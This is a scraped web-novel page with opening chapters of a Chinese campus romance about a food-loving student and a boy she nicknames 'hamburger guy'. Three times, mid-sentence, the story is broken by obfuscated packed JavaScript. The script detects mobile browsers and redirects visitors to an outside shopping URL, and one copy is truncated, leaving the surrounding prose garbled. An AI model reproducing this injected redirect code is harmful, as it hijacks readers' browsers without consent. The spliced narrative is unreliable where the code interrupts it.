《至味时刻[校园]》 1. 汉堡 《至味时刻》 文/酥酥仁 2024.8.26 “这绝对是震撼全人类的一天,他的出现让全世界陷入无比的疯狂中!” 骆明昭猛地从前桌转过身,伏在林雨彤的书桌上,眼神格外坚定。 “骆眀昭!”林雨彤咬着后槽牙,努力地让自己没有伸爪子将面前这小妮子敲死,“我新套的桌套!你想干嘛,想死扣1。” 罪魁祸首顺着低下头,才发现原本平整地如同被熨烫机压过的桌面,像是经历了一场灾难袭击,皱皱巴巴的,还翘起了边边。 “我要是扣10086,能放我一马,让我活着吃到我爸今晚上做的酸菜鱼吗?”骆眀昭笑得灿烂,尽量用自己爆炸可爱的笑眼和软萌饱满的脸颊,俘获她。 空间沉默一会儿。 林雨彤兀自叹了口气,承认又没抵抗过这一招,自己把桌上的书收起来,再次重复抚平桌套的工作:“你是又看见什么奇闻异事了,马不停蹄赶回来发疯?” 骆眀昭也没无耻到全让她一个人忙乎,狗腿地帮着干活,再度提及这事,她才又变了脸色。 “我跟你,我刚刚在二食堂,遇见了一个男生,他真是我生命中遇见最特别的一个。” “男生!”实在是骆眀昭说得太朦胧暧昧,林雨彤直接想歪,眼神亮了亮,“高不高,帅不帅,是咱们年级的吗?我说你可以啊,长大啦!” 骆明昭白她一眼:“非诚勿扰的主持位,您站上去多好呢?” “那你是什么意思?” 四下无人,骆眀昭做贼一样左看右看,缓缓凑到林雨彤面前:“我跟你说,事情是这样的……” - 九月一日这天,是绮城八中开学日,也是南北校区进行合并的大日子。 简单来说,就是南校区在校学生整体合并到北校区去上课学校。 要说这两个校区离着有多远,那也不至于,距离也就是公交车十五分钟的样子,但基本算是一个天上一个地下。 北校区是后建的,设施完善,占地面积庞大,在涵盖四栋主教学楼、两栋宿舍楼、两间食堂、一栋综合楼和一个体育馆外,据说过几年还有新建计划。 就可想而知北校区是有多豪华。 相比之下的南校区几乎算是蜗居中的蜗居,不仅教学总共楼就只有一栋,甚至食堂和宿舍楼都只能挤在一栋小楼里。 用一个被南校区女学生最崩溃的事举例,南校区教学楼每层女生厕所只有十个坑,所以每每到下课时分,那简直就是灾难现场。 可哪怕什么都小,可唯独操场大得不行,在二十多年前八中建校之初,最大的招牌就是有个大操场,四百米的标准跑道还有两个篮球场。 但学校毕竟是读书的地方,等到校方多年后反应过来,想重新扩建学校时,周围那一亩三分地就像肥肉,早已被各大房地产开发商如饿狼扑食般霸占,实在是心有余而面积不足。 于是乎,八中就有了又建北校区这一举措出现。 南校区毕竟是学校的根,校方舍不得放弃,因为八中口碑好,老师教育好,学生家长趋之若鹜,挤破头往里考,可偏偏两校区如此差异,也让每年初升高择校时,分校区抽签环节成了最大的豪赌。 骆眀昭每每回忆起一年前那个场景,瞬间就能联想到互联网上有名的视频,泰国兵役抽选现场。 当然,倒霉蛋总是会有的,比如骆眀昭,她就是被分到南校区的倒霉蛋之一,连带着她的好姐妹林雨彤,大概这就是好姐妹一生一起走吧…… 不过骆少女表示,这压根不是问题,反而暗自窃喜被分到了南校区。 毕竟学校内一百米开外就有条绮城著名小吃街,而且学校离她家也就五分钟路程,简直幸福的不行。 可惜幸福的时光总是短暂,实在是教学环节太恶劣,让家长都忍不住去学校频频投诉,校方经过研究探讨决定,本学期开始,南校区学生整体合并到北校区学习。 开学第一天,上午八点半,即便再不情愿,骆眀昭还是踏上了北校区上学路。 头天上学,学校也是相当人性化,上午自由活动,让学生们打扫教室,住校生去宿舍报道整理,也是让南校区新生适应新校园,办新校区饭卡水卡走读证这些。 骆眀昭别的都不感兴趣,唯独食堂,那可是掌握她未来两年精神命脉的地方,所以刚整理好座位,她就飞奔着冲向食堂进食,林雨彤一上午累得要死,说自己懒得动,让她带回个鸡蛋灌饼给她。 来之前骆眀昭就打听好了,有独立窗口的只有二食堂,离正儿八经的午餐点还有半小时呢,踏进食堂里一瞧,里面都几乎没什么人。 骆眀昭先是定位到鸡蛋灌饼的窗口,然后就自己点了个鱼香肉丝盖浇饭吃,毕竟评价一家餐馆的饭菜怎么样,最重要的就是他家鱼香肉丝做得好不好吃。 师傅手速很快,不一会儿一盘喷香的鱼香肉丝盖浇饭就出锅,骆明昭去拿的时候,上面还冒着丝丝热气,香是真香—— 拿着一次性筷子和勺子,骆眀昭就迫不及待坐到了离自己最近的位置,舀起一勺连着汤汁的米饭,又觉得这么吃大概不过瘾,用筷子夹上好几块肉丝盖上去,然后眼睛亮亮的,张开大嘴就送进了口中。 直到酸甜咸辣,这四种丰富的口味在味蕾爆炸,骆眀昭才在这一刻,彻底认同了北校区的存在,或许是她实在吃得太满足,让盖浇饭窗口的师傅都忍住不视线朝她逗留。 两人对上视线,骆眀昭笑呵呵地朝师傅竖起大拇指:“真好吃!” 骆眀昭看过去时,一双笑眼弯成月牙状,双眼中是最纯粹不过的赞赏,给师傅都有点看的不好意思,笑着摆摆手,示意她慢慢吃。 她吃得投入且认真,斜前方的位置不知不觉坐下了几个学生她都没注意到,骆眀昭虽说爱吃饭,吃得也比其他小女生多些,但她吃的速度不快,细嚼慢咽。 吃了一会儿,她觉得有些渴,就准备去旁边小卖铺买瓶水,起身时,正好瞧见斜前面三个跟她同级的学生,端着自己餐盘纷纷落座,骆眀昭这时才分出神,瞧了眼他们。 各年级校服小细节处的颜色不一样,所以一瞧袖口天蓝色就能知道是同级生。 但这几个不是他们南校区过来的,高二总共就那么二百多号人,谁没见过谁啊。 骆眀昭也不是很在意,捏着饭卡就走向小卖部,期间刚好经过他们三人的餐桌。 三人中唯一女生,清冷干净,是那种与世无争的气质,神色淡淡:“明天就直接考试?” “我从老夏办公室经过时听见的,童叟无欺,分班考就是为了把南北校区的学生打乱,排成绩是其次。”其中一个男生笃定地说,长什么样骆眀昭没在意,她就瞅见他面前炒面好像挺好吃的。 一会儿回来可以顺带问问,好吃下次自己也可以吃一次。 女生无所谓地说:“考就考吧,只要别拦我晚上的安排就行。” 骆明昭没敢多听,毕竟偷听人家说话挺不道德的,她快步走到小卖铺,拿了瓶两块钱的水,一刷饭卡后,就马上往自己刚刚的位置走。 食堂里三三两两走进了一些同学,但也不算多,大概是渴意上头,还没等走回去,骆眀昭就忍不住拧开了矿泉水瓶,边喝边往回走。 她走得还是原来的那条路,再次经过那三位同级生,刚刚的男生正埋头吃炒面正香,看着他吃,骆眀昭都不由得食欲更盛了些,想上前去问这是哪个窗口买的。 离他们三人越来越近后,原本在她视线死角中的第三人,身影也越发的清晰,男生清越端正,似乎很帅的样子,但这完全不是重点! 她的注意力完全被他手里的动作吸引。 那是一个汉堡,最普通不过的汉堡,面包、生菜、肉饼和番茄酱的结合,这个组合永远都不会出错,无论是怎么吃,都会赞叹它的美味,尤其是同时咬下去的一瞬间,那口丰富的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13602988|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉,如同在味蕾爆炸的烟火绽放! 但是!那个大哥,你在干什么!求求你快住手! 骆眀昭在内心咆哮着,恨不得此时此刻就冲到他的面前,阻止他。 男生动作优雅,拿着筷子的手干净纤长,没有错,这位仁兄吃汉堡居然是用筷子的。只见他慢吞吞,用筷子拆解了原本属于一体的汉堡包,于是它此时,面包是面包、菜是菜,肉饼是肉饼,甚至他还不死心的,将他们分成小块,方便入口。 骆眀昭哭丧着脸,汉堡究竟怎么你了啊,你说啊! 他夹起一小块面包,像是在夹起一块在普通不过的东西,面无表情地送入口中,咀嚼的动作生硬又无趣,像个未经调试的机器人头回被输入咀嚼指令一般。 骆眀昭忽然觉得,即便哪天让汉堡哥去吃橡皮,他大概也是这幅面不改色的机器人模样。 别人不知道,反正此时此刻她,是立即想找个什么东西,自毁双眼。 够了,我说这位汉堡哥,你真的是够了,好像有什么不干不净的东西,进入了大脑。 她不干净了—— 骆眀昭的眼神太过炽热,饭吃到一半的清冷女生感受到了这股突如其来的外来气场,放下筷子找寻来源,刚好对上骆眀昭目瞪口呆地盯着那个男生,一动不动,她很快就反应过来,大概是被身边这位的皮囊吸引的小女生吧,只是…… 她又眯起眼仔细瞅了瞅,总觉得,骆眀昭的眼神不太对劲,像在看什么脏东西。 清冷女生忽然停止吃饭,让那个汉堡哥,也停了进食的动作,他不自觉挑挑眉,诧异地瞧见请冷女生脸上竟然有了旁的表情,于是也顺着她的目光看。 看过来,那个汉堡哥看过来了! 骆眀昭眼皮跳了跳, 有那么首歌,就猝不及防钻进她的脑子,非常应景:所以暂时将你眼睛闭了起来—— 三人面面相觑,明明隔着一段距离,却涌动着丝丝诡异氛围。 在这两位俊男靓女的注视下,骆眀昭就这么大咧咧地,缓缓闭上了她的眼睛,嘴唇抿得很平。看不见,看不见,汉堡哥远离我,汉堡哥远离我。 一个人的放飞自我,绷不住的是三个人,清冷女生气场直接崩坏,脸颊憋到涨红,嘴角不停抽搐,最后实在到她忍不住的时候,喉间钻出一声嘲笑。 汉堡哥嘴角一扯,也很难平息心中情绪。 骆明昭闭着眼回过神,脑海中还重播着汉堡哥拆解汉堡的瞬间,诅咒,这就是赤裸裸对她的诅咒,她忘不掉了。 分明经过那三人的餐桌,才是她回到自己位置的最佳捷径,骆眀昭偏过头,单手扶住额角,捂住眼睛余光能瞧见的区域,绕了一条最远的路,回到了鱼香肉丝盖浇饭的面前。 还是那份盖浇饭,还是熟悉的味道,骆眀昭坐到背身于那三人的位置,捏着勺子,头一次没有继续吃饭的欲望。 盖浇饭窗口的师傅还在笑呵呵地瞧她,只是她顶着脑海里循环播放着汉堡哥进食的记忆,实在是没法再继续吃下去,于是在师傅失落又疑问的神色中,她端着餐盘,来到回收处。 以最快的速度,买了个鸡蛋灌饼,连林雨彤爱吃的烤肠都忘记加,拿着饼就逃离二食堂的领域。 这里大概气场跟她不和!先溜为上。 二食堂里,炒面兄弟终于舍得从自己的炒面中分出神来,只见那位清冷女生此时已经完全绷不住自己的女神姿态,边捂着嘴大笑,边重拳垂击身边的汉堡哥。 “梁姐,你别笑了,我害怕。”炒面兄弟错愕地看着面前的女生,他全程埋头干饭,根本不知道发生什么事。 汉堡哥制止了她继续攻击的自己的动作,黑着张脸:“梁若璇,你够了,你快把我打死了。” 被叫做梁若璇的女生,笑着擦去自己眼角的生理眼泪,满脸嘲笑地看着他:“牧时桉,你踏马也有被女生嫌弃到闭眼的一天,我真服了,哈哈哈哈!” 牧时桉:…… 2. 鸡蛋灌饼 “……我跟你说我真的头一回,连饭都没吃完就走了,那个汉堡哥给我的震撼太强了,他能把汉堡都吃的没有食欲,把西式肉夹馍生生吃成大拌菜。”骆明昭还在跟好姐妹感慨着。 林雨彤听完全程,也是啧啧称奇:“居然有把汉堡解体吃的人,太神奇了,你也是有本事,就这么在人家眼皮底下闭上眼来。” 骆明昭撑在桌子上,摇头晃脑,心里还想着那位汉堡哥:“而且他也是咱们年级的,不过应该是北校区原住民,我以前没见过。” 班里空空荡荡没什么人,这个点大家都吃饭去了,林雨彤拿起鸡蛋灌饼正想着吃,刚解开塑料袋动作就一顿,骆眀昭还愣着。 “怎么不吃,我看着味道不错啊。” 林雨彤没说话,只是先把灌饼递给她,了然的模样:“你先吃吧,吃不了剩下的我吃就行,你肯定没吃饱吧。” 就骆眀昭的爱吃属性,半盘盖浇饭显然是不能满足她的胃口,这会儿肚子说不定直叫唤呢。 “不行,这是你的午饭啊!”骆明昭还没饥不择食到要抢好姐妹的饭来吃。 林雨彤解释说:“我减肥中,你就吃吧,不够我还带了根蛋白棒下午加餐。” 见她一副自己不吃她也不吃的架势,骆眀昭只好接过鸡蛋灌饼,狠咬下一大口,边嚼边嘀咕着:“我觉得雨彤你已经很瘦啦,没必要再减肥。” 她一米七四的个子,只有一百斤,就是怎么找,也在她身上找不出赘肉来。 林雨彤捏着自己脸上不存在的肉发愁:“可是怎么上镜脸总是圆的呢?” 因为个高腿长,上学期林雨彤跟家里人商量后,选择报了服装表演的艺考班,也就是模特班,自从要走艺考之后,她就开始了自己减肥的漫长征程,迄今为止她已经瘦了二十五斤了。 “哎呀别担心这个了,我爸不是说过,还没长开呢,”骆明昭又咬下一口,觉得吃得差不多后,就把灌饼又还了回去,“说起来,刚刚有个事忘了告诉你,我刚刚在汉堡哥那还听说了一件事。” “什么?” “他们说,明天要分班考,把南北校区的学生打乱。” “什么!”林雨彤一惊,“这么大的事怎么不提前通知啊,而且分班不都是按照期末成绩吗?消息保真?” 骆明昭撑着脑袋,摇了摇头:“听那个同学说,是在办公室门口听见的,应该是真的。” 林雨彤这下真的觉得天都快塌下来了,看着手中鲜少吃的糖油碳水也没了食欲,这个假期她都没怎么学习,作业也是放假前几天就糊弄过去的,再然后,就好像再也没打开过书包。 “完蛋,北校区人多,说不定这么一划,咱们就不在一个班了,”她哭丧着脸。 骆眀昭原本觉得没什么,在哪个班只要有好姐妹陪着都一样,结果林雨彤敏锐地把问题点了出来——平行班这么多,即便她俩水平差不多,也很有可能分不到同班。 “没事没事,万一就是谣言呢……”骆明昭很勉强地扬起个笑脸来,她自己也知道这话说得有多无力。 果然,午休刚结束后,班主任就带着他的通知走来了。 班主任笑呵呵的,是个四十多岁教物理的中年大叔,叫蔡杨:“安静一下,我宣布个事啊,为了让咱们南校区的同学们,能尽快融入北校区大家庭啊,明后两天考试,后天考完试回班自习,晚自习结束前应该就能按照成绩,宣布新的分班结果。” 在众哀嚎声中,有人品出不对劲来:“老师,不对啊,哪能当天就出结果啊?神速啊!” 蔡杨拧开手里的保温杯,回说:“所以,学校为了加快阅卷速度,我们头天先考语文综合,第二天数学英语,同时学校还抽调了高一、高三的老师来帮我们阅卷,是不是很人性化。” 骆明昭趴桌上,脑袋懒洋洋地埋在胳膊里,嘴角一扯,太人性化了,真是为了考试无所不用其极。 “那高一考试阅卷人手不够啊?” 蔡杨:“高一军训,不考试。” “那那,高三呢?” 蔡杨:“高三人家不分班。” “啊,合着就拿我们高二学生当炮灰啊!” 老蔡跟学生们打得是有来又回,他的无敌杀招微笑绵绵刀,能笑眯眯地让人陷入绝望。 “你们就偷着乐吧,因为考试,今明两天你们都能早早放学回家,其他两个年级都没有你们这个福利,”蔡杨背着手,絮絮叨叨,“还有,五个选科组合都会安排出一个重点班来,大家给点力,说不定有人能冲刺一把。” 还要分出重点班啊?不过这估计跟她也没什么关系。 因为老蔡和南校区悠闲自在的氛围,所以他们班里气氛总是很好,骆眀昭其实也有些舍不得离开这个班,只是分班考也不是想逃就能逃的。 班里众人还在纷纷议论着,蔡杨咳了咳,肃清声音:“行了,兔崽子们别喊了,下午你们就在班里自行复习,六点打铃,你们就开始布置考场,然后放学,班长一会儿去办公室拿座位表啊,复习吧。” “对了,”正要走出班门的老蔡再次折返,“今天放学时间我已经在家长群里通知过了,某些人不要想着能钻空子去网吧Happy哦。” 骆眀昭眼睁睁着自己的男同桌,目光由亮到暗,那瞬间好像被抽干水分的小苗。 - 放学铃打响,原本安静的教室猛地热闹起来,大家都闹哄哄地整理着自己的桌子,骆明昭把自己的笔袋塞进书包,拉链一合,就转身去找后桌林雨彤。 她正费劲地把自己的桌套又拆下来,嘴里还不停念叨:“真的是,要考试也不早说,害得我又得拆一遍。” “行啦,老蔡不是那会儿贴了考场吗?咱俩去看看?”骆眀昭指指前面的告示板。 林雨彤摆手:“我去吧,你这小个头,我怕你被踩死。” “什么意思!一米六一点五八,也是有人权的好吗!”被戳到痛处,骆明昭张牙舞爪地叫唤。 好歹她也是过了一米六这大关好吗? 实在是她家里基因也就那样,老骆穿上鞋只能勉强能够够一米七。 很快林雨彤就拿着手机回来,把拍好的照片丟给她看,骆明昭脸还是气鼓鼓的,接过手机后,她放大着找自己的名字。 “果然是人多了,南校区咱俩都是在同个考场的。”林雨彤一把拽起自己书包,听着班长的安排往教室后面挪桌子。 骆明昭自己一瞅,果然,她在第五考场,同样的“L”姓,林雨彤已经被排到第七考场去了。啧啧,这就是大校区的规模吗? 教室上午已经打扫过一遍,所以只需要把考场桌子摆好就行,班长点了几个男生留下,剩下大家伙就做鸟兽散,离开教室。 林雨彤一把挽过骆明昭的胳膊,两个人溜溜达达去楼下看考场,暂时安置南校区六个班的,是在高二教学楼五层,五、七考场都在二层。 这一路上,走廊里、楼梯里、教室里全是人,在拥挤陈旧的小楼里呆久,一时间猛地见到学校里有这么多人,骆眀昭还有些不适应,幸亏是林雨彤仗着身高优势,带着她左拽右避的,她才不至于全撞到那些人身上去。 “还是不太适应吗?”林雨彤有些担忧地看向她。 骆眀昭赶紧笑着摆摆手,示意自己无事。 除了家里人之外,也就林雨彤这一个好闺蜜知道,骆眀昭有先天的前庭失调,因为骆家夫妇都是在医生,所以对她的训练干预很早,但直到现在她还会有运动不协调,平衡感差的小毛病,在人多的地方也容易磕碰。 虽说不影响生活, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么闭眼姐?”在他的身后,传来少女的干净冷清的声音,很快他身侧就多出个女生的身影,梁若璇看到骆明昭时,表情也闪出一丝诧异,她抱着胸,伸手打了牧时桉胳膊一巴掌,“你管人家叫闭眼姐,有没有礼貌!” 骆明昭此时也已经完全认出这两人是谁了,于是下一秒很没眼色地脱口而出:“汉堡哥?” 梁若璇、牧时按、骆明昭:…… 空气陷入凝固状态。 牧时桉嘴角微微上扬着,很无奈地摊开手,意思是你看,她也是这么叫我的嘛。 要不是有外人在,骆明昭真是想狠狠给自己这张没分寸的嘴一巴掌,而现在她只能朝人家正主讪讪地尬笑。 “那个抱歉啊,是我走路没看路,不小心撞上了。”骆眀昭没底气地先开口说,手还心虚地摸摸鼻尖。 牧时桉还没说话,梁若璇走到她身旁,目光真挚:“他皮糙肉厚的,你没事就好,不过从前没见过你,你是南校区的吗?” 骆明昭呆呆地瞧着面前漂亮的像明星一样的少女,清丽娴静,微微一笑都让自己忍不住脸红,真的太好看了。半晌她才想起来回应人家,赶紧点点头。 美少女朝着自己伸出手,友好地笑:“你好,我叫梁若璇,你叫什么啊?” 骆眀昭满脸羞涩,正准备跟她说自己的名字,却听走廊里从西边就传来林雨彤叫她的声音,越来越近:“骆明昭?你在哪啊,人呢,骆眀昭?” “等我一下,我马上过去啊!”她朝着远方跟林雨彤喊了一声,然后看向梁若璇,“那个,我叫骆明昭,很高兴认识你,我朋友在那边等我回家,我先走了哈。” 骆眀昭朝着人家不好意思地笑笑,正要捏着书包带往楼梯间那边走,一直被忽视在旁边的男生,忽地开了口,声音不大不小,正好是被骆眀昭听见的程度。 “我们还没认识呢?” “什么?” “我叫牧时桉,或者你想叫我汉堡哥也行。”男生朝她说道,脸上挂着若有似无地笑意。 他笑得随性又洒脱,莫名落在骆眀昭眼中,有种拳头蛮痒的感觉。 “好的,汉堡哥。” 3. 酸菜鱼 两姐妹挽着手走出了教学楼,晚餐时间,校园里穿梭着高三学生的身影,即便不看校服颜色去认,人群中怨气最深的就是他们,早半个月他们就已经开学了。 骆明昭扫视一圈,心里头一次有了点危机感,明年这时候,这群丧尸里就有她一个。 走过学校中间的大雕塑,林雨彤才结束跟家长的电话,把手机塞回兜里。 “怎么了?你妈妈跟你说了什么事?”骆眀昭随口一问,因为看林雨彤现在怨气比高三学子更深的模样。 林雨彤黑着脸,无可奈何:“她老人家说让我帮她带份干拌臭豆腐回家,讲道理,她老是这样,让我帮她捎又不给钱,要不把零花钱多批点给我也行呢。” 骆眀昭失笑,经常能从林雨彤嘴里听到跟亲妈相爱相杀的故事,不过她也见过几次林妈妈,就是个很跳脱的阿姨。 “不过,”林雨彤忽然神神秘秘地戳了戳她,一脸好奇,“你是怎么认识梁若璇和牧时桉的啊?” “你认识?” “他俩挺有名的,听说去年有个娱乐公司还在学校门口蹲人呢。” 两个人长得确实是蛮扎眼的,骆明昭嘴角一扯,犹豫半天才缓缓说道:“如果我说,那是我上午遇见的汉堡哥呢?” “啊?”林雨彤瞪大了眼,很难为好姐妹的经历做评价,“那倒是真、巧哈。不过也是不错啊,刚来北校区第一天就认识大帅哥。” 骆明昭呵呵两声,苦着张脸:“你知道汉堡哥管我叫什么吗?” “什么?” “他管我叫闭眼姐。” 林雨彤:“……你们两个,真是卧龙凤雏。” - 林雨彤家离骆眀昭家隔着一站公交的距离,是为了给林妈妈买臭豆腐两人才坐到了同站,毕竟小吃街就在骆家楼下。 不过今后的放学路大概率就只剩骆眀昭一个人,因为好姐妹已经是有小电驴的人了。 “我回来了。” 骆明昭推门进屋就是扑鼻的饭香,她随意把鞋子后跟踩下来,换上拖鞋后狠狠嗅了几下空气中的酸菜鱼香气。 嗯,不错,是她喜欢的那个品牌的料包。 骆齐从厨房里钻出个脑袋来,有些纳闷地看着自家闺女:“怎么这个点就回来了,你逃课了?” 骆明昭随手把书包往沙发上一丢,懒懒散散地往餐厅走,无奈叹口气:“爸,你是不是又把我们班级群屏蔽了?” 厨房热腾腾的,空调风透不进去,老骆系着围裙随手一抹额角的汗,拿铲子给锅里鱼肉翻了几下:“上午你们班主任发了个考试通知,下面又是收到方阵,我嫌麻烦就给免打扰了。” 早知道就不教他怎么屏蔽群聊消息了,真是。 骆明昭暗自嘀咕,从冰箱了拿出袋红枣酸奶叼在嘴上,这是王乐萍女士的最爱口味。 “你爸我好不容易不在医院里当牲口,当小兔崽子你的家长还得每天收到收到,”老骆把菜盛出来端到餐桌上,又跟她说,“既然回来了,洗手去,咱们先吃,你妈妈下午有个种牙的患者刚结束。” 骆爸妈都是医生,骆齐从前就职于绮大二附神经内科,当初已经混到副主任医师的位子,但去年不顾反对毅然决然选择辞职创业,王乐萍则是在同院的口腔科工作。 骆明昭回句知道了,伸手用劲去挤酸奶袋尾巴把它喝个干净,袋子朝垃圾筒一丢,伸个懒腰就默默去厕所洗手。 父女俩刚坐下吃几口饭,王乐萍就风尘仆仆赶回家:“今天你放学这么早呢?” 骆明昭正耐心地将鱼刺挑出来,在纸巾上落成个小山,将汤汁跟米饭拌在一起:“明天考试,今天布置考场什么的,就放得早。” 等全家人齐坐在饭桌上,就开始有一搭没一搭聊起来今天发生的事,这是骆家日常,当医生都忙,没什么跟孩子沟通的机会,骆齐和王乐萍一合计,要抓住陪伴孩子的每分每秒,于是从幼儿园开始的传统延续至今。 “……上午那个病人,给他麻药都打上了,接了个电话说要出差,人就走了,真是辛苦啊。”王乐萍感慨着,忽然看着埋头干饭的女儿,随口问道,“今天在北校区怎么样?我路过几次,看里面设施挺不错的。” 骆明昭不小心吃到一粒花椒,麻得她猛灌水,含含糊糊地说:“学校可大了,干净又亮堂,人也很多,最重要的是食堂很好吃,我中午吃的盖浇饭绝了。” 她隐去不堪回首的那一段,实在是羞于启齿。 “反正你嘛,有口好吃的就行,”骆齐饭吃得飞快,这会儿已经吃饱了,就悠哉悠哉坐着消食,“以后上下学不方便,要不你爹我开车接送你?” “冬天再说吧,这会儿还不冷呢,坐坐公交挺好的,”骆明昭摆摆手,表示不用,“因为考试明天放学还是比较早,后天恢复正常九点半,不过这次考试是分班考,北校区听说每个组合设了个重点班,我估计不太行。” 新高考改革后,“3+1+2”的自由组合模式,但是走班毕竟是一大管理难题,八中当初是经过调研后提供了五个组合,极少部分学生走班,骆眀昭当初选得就是纯理组合。 虽说理三科她压根不精通,但那政史地她更是没招,权衡之下,纯理还好些,更何况,虽然没跟别人说过,但她是有些想学医的。 家里人对她学习一直保持着宽松开放的态度,但骆眀昭还是感觉得提前跟两位打个招呼才行。 骆齐宽慰道:“没事,这次不行咱下次再努力呗,别太在意了。” 王乐萍夹着菜,随口那么一说:“说起来,牧科长他家儿子,也是在你们八中读书吧,好像是在北校区。” “牧科长,哪个牧科长?”骆明昭猛地扬起脑袋。今她可是第二次听见这个姓。 骆齐一听这名字就吹胡子瞪眼,脸马上耷拉下来,没一点好气,骆眀昭似乎反应过来:“是不是你们医院,医务科的那个?” “就是他呗,”王乐萍睨了眼自家老公,“这都辞职这么久了,还别扭呢?” 自小从家长的口中,骆眀昭就听说过这么个牧大夫,开始跟老骆是同一科室,后来不干临床转到行政,向来跟骆齐不对付,似乎一见面就呛。 “呵,谁跟他别扭,我跟他可不熟啊。”骆齐板着脸,索性端着碗筷到厨房洗碗。 骆明昭大脑飞速运转,脑袋悄悄伸到王乐萍的耳边,压低声音问:“妈,这个牧科长,他儿子也在我们学校吗?叫什么啊?” “好像是叫时桉吧?不过具体是哪个两字妈就不知道了。”王乐萍想了想,回说。 不是这么巧吧,我去—— - 新校区带给骆明昭的痛苦逐步显现,昨天埋头复习到有些晚,尤其她还没完全从假期晚睡晚起的生物钟调整过来,次日一早起床,睁开眼睛就已经到危机时间了。 王乐萍早就上班去了,而骆齐还在被窝里睡得正香,骆明昭像打仗一样度过了个早晨,她随便抓几下头发,就套着发圈仓皇出门,连早餐都没来得及吃。 看眼手机,等公交大概是来不及了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13602990|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只好打了辆出租车,在考试开始前二十分钟,安安稳稳坐到考场座位上。 唔,明天必须多定几个闹钟,定八个! 提前坐到考场的好处是,她还有时间去解决一下生理问题,攥着手帕纸从卫生间出来时她还在感慨,果然是气派,连厕所都这么大。 回到考场时,两位监考老师已经拿着卷子站在讲台上,她赶紧小跑几步坐回自己的位置。 “这场咱们考语文,考试时间二个半小时,把除考试以外的所有私人物品全都放到前面,现在开始。”讲台前的女老师严肃地说。 话落,考场内的学生们接二连三地提着书包往前走,骆眀昭也不例外。 她倒是也没想到,一场分班考试还能搞得这么严谨。 等到考试铃打响,其中另一位男老师拿着试卷一张张下发,骆眀昭才刚拿到卷子,还没来得及检查,就听后门传来一声清脆地声音:“报告。” 这声音,咋有点耳熟呢? 等她循着声音去看,才惊诧地瞧见,倚着门框理直气壮地打报告的男生,不就是牧时桉吗?他双眼下挂着两片漆黑,站在门口还没止住捂着嘴打了个哈欠。 女教师盯着他,严声问:“怎么才到,都发卷子了。” “抱歉,起晚了。”牧时桉清清嗓子,还有些没睡醒的哑意。 “下不为例,进来吧,把个人用品放到前面。” 牧时桉这才迈开步子,走进考场,按着监考老师的话把书包放到前排,似乎只从里面拿出了两根笔。 骆眀昭没敢多看,赶紧低下脑袋,老老实实检查手上的这张考卷,心里却在想着,牧姓确实有可能跟自己分到一个考场。 “好了,开始答题吧。”老师发话,考场里的学生才动笔,骆眀昭也摒弃杂念,认真考试。 大概是没吃早饭的缘故,虽然肚子时不时低声抗议,但大脑却很清醒,面对着满是文字的语文试卷她也没有打瞌睡,精神地写满了整张答题卡,直到老师提示交卷,她才甩了甩有些酸胀的手腕,合上手中笔帽。 监考老师一走,考场里就热闹起来,似乎大家都有认识的同学,一下子就围成好几个圈对着答案,骆眀昭谁都不认得,于是溜到前面从书包翻找出自己的手机,准备给林雨彤发消息,找个地方会合。 “挺巧,我们居然在一个考场。”牧时桉从自己的位置走过来,忽地在骆眀昭的身边说道。 骆眀昭没想到他会跟自己搭话。林雨彤那边还没回复她,她捏着手机,讪讪一笑:“是哈,其实如果你不是M姓,我不是L姓,估计也没这么巧。” 昨天在学校就已经够尴尬的,谁想到他们父辈居然还这么有渊源呢。 两人原本站得有一定距离,可正好有几个男同学边打闹着边要往教室外走,牧时桉不得已往前凑了几步,离骆眀昭就更近。 她觉得自己甚至只要微微偏头,又得撞在对方的身上。 “那啥,你让我过一下呗。”牧时桉犹如一堵人墙一样挡在她面前,透不出光来,她开口说道。 男生赶紧往旁边跨了半步,清咳一声:“抱歉。” 骆眀昭感觉终于能呼吸到新鲜空气,摆摆手:“没事没事。” 微信那头始终是没有回音,骆眀昭收起手机,准备直接杀到七考场去,她正想跟面前这人礼貌地打个招呼,然后迈步走出教室门时,却听他慢悠悠地出声问了这么一句。 “我能问一下,你为什么管我叫汉堡哥吗?” 骆眀昭:! 4. 牛肉拉面 这该死的问题困扰牧时桉一夜,也是导致他整宿未能好眠的元凶。 坦荡肆意如他,大概是千想万想,也想不出来是跟自己中午吃的汉堡有关,并且他对自己独特的进食方式,并不觉得有问题。 他这人,从不上心自己吃过什么,有时亲妈晚上问他午餐在学校吃的啥,他都要阖着眼琢磨好一阵,最后讲出个莫名的错误答案来。 梁若璇吸着从外卖定的喜茶零卡糖多肉葡萄,跟牧时桉、薛游走在校园林荫道上,三人正往食堂方向溜达,她好奇地问:“所以昨天那姑娘怎么跟你解释的,为什么要叫你汉堡哥?” 牧时桉双手插在校服口袋里,高挺鼻梁和眉骨配合着在眼窝处留下些阴影,一向清隽懒散的脸上,出现一丝崩坏的裂纹,他悠悠说:“她说,她在背单词,hamburger,但中式英语发音不太标准。” 